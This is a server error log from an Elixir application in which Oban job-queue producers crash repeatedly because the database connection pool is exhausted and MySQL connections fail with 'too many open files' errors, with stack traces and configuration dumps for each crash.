State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:08:45.240701Z], limit: 20, uuid: "852966a6-9eeb-483f-a343-c045146ce1f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.240707Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254657>, refresh_timer: #Reference<0.2525715032.1068236804.254636>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:08:45.240236Z], limit: 3, uuid: "7b65f0f2-a61b-495b-8fb3-300c9cf4e5cc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.240241Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254660>, refresh_timer: #Reference<0.2525715032.1077411843.237918>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:08:45.239079Z], limit: 5, uuid: "7e9ff2c1-45c9-4baf-bed8-29b3e3ff3769", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.239086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237896>, refresh_timer: #Reference<0.2525715032.1077411843.237891>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:08:45.240052Z], limit: 50, uuid: "6283435a-fafb-4f67-832d-2e87d91ff04a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.240059Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254659>, refresh_timer: #Reference<0.2525715032.1121189889.108520>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:08:45.240249Z], limit: 10, uuid: "512ed646-b845-438e-9641-0c103ecaaffb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.240254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108541>, refresh_timer: #Reference<0.2525715032.1077411843.237921>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:08:45.242719Z], limit: 5, uuid: "7d00b45b-f32e-4f6e-be2c-5c64c76d4753", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:45.242724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254658>, refresh_timer: #Reference<0.2525715032.1068236804.254641>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:59.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:00.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:01.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:03.441000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:06.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:09.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:08:57.239349Z], limit: 5, uuid: "9a3963aa-f45c-495f-87e8-9c569b35d03a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.239354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108627>, refresh_timer: #Reference<0.2525715032.1099431938.6496>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:09.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:08:57.237998Z], limit: 20, uuid: "f87c99f8-ba3e-43b1-bcd5-f6a9f15ac568", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.238005Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238209>, refresh_timer: #Reference<0.2525715032.1068236804.254821>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:09.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:08:57.239280Z], limit: 10, uuid: "4f6ff0a7-4a68-47e5-92df-3248c0df8324", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.239286Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108626>, refresh_timer: #Reference<0.2525715032.1121189889.108621>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:09.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
